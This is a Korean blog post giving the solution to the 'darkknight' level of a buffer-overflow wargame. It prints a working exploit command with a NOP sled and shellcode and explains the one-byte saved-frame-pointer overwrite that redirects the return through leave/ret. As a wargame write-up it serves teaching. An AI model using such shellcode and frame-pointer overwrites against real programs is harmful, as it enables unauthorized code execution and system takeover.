티스토리 뷰
해답 :
./darkknight `python -c 'print "\x08\xfc\xff\xbf"*10+"\x24"'` `python -c 'print "\x90"*100+"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`
strncpy 때문에 리턴주소의 변경이 불가능해졌습니다. 하지만 SFP 부분은 변경가능합니다. 이 부분을 이용해서 리턴 주소를 변경하는 것이 이번 문제의 핵심입니다.
SFP의 개념은 스택 프레임을 구글링 하시면 알 수 있습니다.
strncpy에 41바이트를 넣어서 SPF의 제일 마지막 1바이트를 바꿔줄 수 있습니다. 이 것을 바꿔줌으로서 메인의 EBP를 변경가능합니다.
그리고 메인의 마지막 어셈블리는
leave
ret
인데 (leave =
mov esp, ebp
pop ebp)
앞에서 분명히 SPF 변경을 통해 ebp 를 변경가능하다고 말씀드렸습니다 .
그리고 MOV ESP, EBP 가 SPF 변경 후에 실행됩니다. 이 말은 즉슨 메인함수의 ESP를 조작할 수 있다는 것입니다.
그리고 RET은 ESP가 가리키는 주소로 점프합니다. 이러한 원리로 리턴주소의 조작이 가능합니다.
'문제풀이 > bof원정대' 카테고리의 다른 글
bof원정대 darkknight -> bugbear (0) | 2016.08.18 |
---|---|
bof원정대 troll -> vampire (0) | 2016.08.16 |
bof원정대 orge -> troll (0) | 2016.08.15 |
bof 원정대 darkelf -> orge (0) | 2016.08.15 |
bof 원정대 wolfman -> darkelf (0) | 2016.08.15 |
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- 레거시 드라이버
- LKM
- gdb 명령어
- VMware
- 백도어
- 디바이스
- gdb intel 변환
- 변환
- breakpoint
- gdb명령어
- BP
- 리눅스 모듈
- 루트킷
- DriverEntry
- rootkit
- PNP 드라이버
- 모듈
- vmware cannot connect to the virtual machine
- module
- IRP
- Intel
- 드라이버
- backdoor
- vmware 오류
- gdb intel
- GDB
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
글 보관함